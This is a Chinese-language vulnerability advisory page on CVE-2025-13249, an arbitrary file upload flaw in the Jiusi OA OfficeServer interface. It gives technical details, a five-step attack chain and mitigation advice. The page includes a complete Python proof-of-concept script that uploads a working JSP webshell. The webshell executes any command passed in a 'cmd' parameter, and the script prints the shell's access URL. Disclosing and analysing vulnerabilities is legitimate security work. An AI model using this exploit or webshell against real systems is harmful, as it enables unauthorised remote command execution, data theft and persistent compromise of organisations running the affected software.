IPBUF安全漏洞报告
English
CVE-2025-13249 CVSS 6.3 中危

Jiusi OA OfficeServer 任意文件上传漏洞 (CVE-2025-13249)

披露日期: 2025-11-16

漏洞信息

漏洞编号
CVE-2025-13249
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jiusi OA

相关标签

任意文件上传Jiusi OACVE-2025-13249OfficeServerWebShell远程代码执行未授权访问办公自动化系统

漏洞概述

Jiusi OA(久久OA)是一款广泛使用的办公自动化系统,为企业提供流程审批、文档管理、协同办公等功能。该系统存在一处严重的安全漏洞,编号为CVE-2025-13249,于2025年11月16日被正式披露。漏洞位于OfficeServer接口的文件上传功能模块,攻击者可利用isAjaxDownloadTemplate参数绕过正常的身份验证和权限检查,实现任意文件上传。攻击者通过构造恶意的HTTP请求,上传包含恶意代码的文件(如WebShell),进而可能在服务器上执行任意命令,获取系统控制权。该漏洞的CVSS评分为6.3,属于中危级别,攻击复杂度较低且无需高权限认证,远程攻击者可直接利用。漏洞已被公开披露,相关信息和利用代码已在互联网流传,存在被恶意利用的实际风险。企业用户应立即评估自身系统是否受影响,并采取相应的修复措施。

技术细节

该漏洞源于Jiusi OA系统中OfficeServer接口的实现缺陷。具体问题出在/OfficeServer?isAjaxDownloadTemplate=false接口的处理逻辑上,攻击者可以通过操纵FileData参数实现未授权的文件上传操作。漏洞的技术要点包括:1) 接口未对上传请求进行充分的身份验证和授权检查,允许低权限或匿名用户访问;2) 服务器端缺少对上传文件类型的严格校验,未能有效过滤可执行脚本文件;3) 上传文件的存储路径缺乏安全配置,可能被攻击者直接访问和执行。攻击者通常会首先识别目标站点使用的Jiusi OA版本,然后构造包含恶意代码的POST请求,将isAjaxDownloadTemplate参数设置为false以触发文件上传功能。上传成功后,攻击者可通过访问上传文件的URL路径来执行其中的恶意代码,实现远程命令执行。一旦攻击者获得服务器访问权限,可进一步进行内网渗透、数据窃取或部署后门等恶意操作。建议管理员检查服务器访问日志,排查是否存在异常的OfficeServer接口访问记录。

攻击链分析

STEP 1
步骤1
信息收集:识别目标网站使用的Jiusi OA系统版本,确认版本号 <= 20251102
STEP 2
步骤2
构造恶意请求:构造包含恶意文件的POST请求,将isAjaxDownloadTemplate参数设置为false
STEP 3
步骤3
绕过验证:利用OfficeServer接口的访问控制缺陷,绕过身份认证和权限检查上传WebShell
STEP 4
步骤4
获取执行权限:访问上传的恶意文件URL路径,触发代码执行,实现远程命令控制
STEP 5
步骤5
权限维持:利用获得的服务器访问权限,进一步进行内网渗透、数据窃取或部署持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13249 PoC - Jiusi OA Arbitrary File Upload # Target: Jiusi OA <= 20251102 # Component: OfficeServer Interface def exploit(target_url, filename='shell.jsp'): """ Exploit arbitrary file upload vulnerability in Jiusi OA OfficeServer Args: target_url: Target Jiusi OA base URL filename: Malicious filename to upload """ # Malicious JSP webshell content webshell_content = '<%@page import="java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>' # Target endpoint upload_url = f"{target_url.rstrip('/')}/OfficeServer" # Prepare multipart form data files = { 'FileData': (filename, webshell_content, 'application/octet-stream'), 'isAjaxDownloadTemplate': (None, 'false') } # Optional: Add authentication if required headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending exploit request to {upload_url}") response = requests.post(upload_url, files=files, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] File uploaded successfully: {filename}") print(f"[+] Access the webshell at: {target_url}/upload/{filename}") print(f"[+] Execute commands: ?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-13249.py <target_url>") print("Example: python cve-2025-13249.py http://vulnerable-server.com") sys.exit(1) exploit(sys.argv[1])

影响范围

Jiusi OA <= 20251102

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在网络层限制对/OfficeServer接口的访问,仅允许受信任的IP地址访问;2) 部署Web应用防火墙规则,检测和拦截异常的文件上传请求;3) 暂时禁用isAjaxDownloadTemplate功能;4) 加强服务器访问监控,及时发现异常行为;5) 定期备份重要数据,以便发生安全事件时能够快速恢复。建议优先考虑升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表